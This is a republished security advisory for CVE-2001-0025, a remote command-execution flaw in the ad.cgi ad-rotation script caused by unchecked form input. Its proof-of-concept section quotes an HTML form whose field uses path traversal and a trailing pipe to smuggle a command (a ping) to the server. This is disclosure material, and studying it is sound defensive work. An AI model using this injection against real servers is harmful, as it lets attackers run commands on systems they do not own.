Leif M. Wright ad.cgi Unchecked Input Vulnerability

BID:2103

Info

Leif M. Wright ad.cgi Unchecked Input Vulnerability

Bugtraq ID: 2103
Class: Input Validation Error
CVE: CVE-2001-0025
Remote: Yes
Local: No
Published: Dec 11 2000 12:00AM
Updated: Jul 11 2009 04:46AM
Credit: This vulnerability was first announced by rpc <[email protected]> via Bugtraq on December 11, 2000.
Vulnerable: Leif M. Wright ad.cgi 1.0
- AT&T SVR4 4.0
- Be BeOS 5.0
- BSDI BSD/OS 4.0.1
- Caldera OpenLinux 2.4
- Debian Linux 2.3
- Digital (Compaq) TRU64/DIGITAL UNIX 5.0
- FreeBSD FreeBSD 4.2
- HP HP-UX 11.11
- IBM AIX 4.3.3
- Mandriva Linux Mandrake 7.2
- NetBSD NetBSD 1.4.2
- OpenBSD OpenBSD 2.8
- Redhat Linux 7.0
- SCO eServer 2.3
- SGI IRIX 6.5.8
- Sun Solaris 8_sparc
- SuSE Linux 7.0
Not Vulnerable:

Discussion

Leif M. Wright ad.cgi Unchecked Input Vulnerability

ad.cgi is an ad rotation script freely available, and written by Leif Wright. A problem exists in the script which may allow access to restricted resources.

The problem occurs in the method in which the script checks input. Due to insufficent validation of input, the script allows a user to execute programs on the local system by making use of the FORM method. This makes it possible for a malicious users to remotely execute commands on the system with the priviledges inherited by the HTTPD process.

Exploit / POC

Leif M. Wright ad.cgi Unchecked Input Vulnerability

From the advisory by rpc &lt;[email protected]&gt; :

&lt;html&gt;
&lt;form action="http://www.conservatives.net/someplace/ad.cgi" method=POST&gt;
&lt;h1&gt;ad.cgi exploit&lt;/h1&gt;
Command: &lt;input type=text name=file value="../../../../../../../../bin/ping -c 5 www.foo.com|"&gt;
&lt;input type=submit value=run&gt;
&lt;/form&gt;
&lt;/html&gt;

Solution / Fix

Leif M. Wright ad.cgi Unchecked Input Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Leif M. Wright ad.cgi Unchecked Input Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report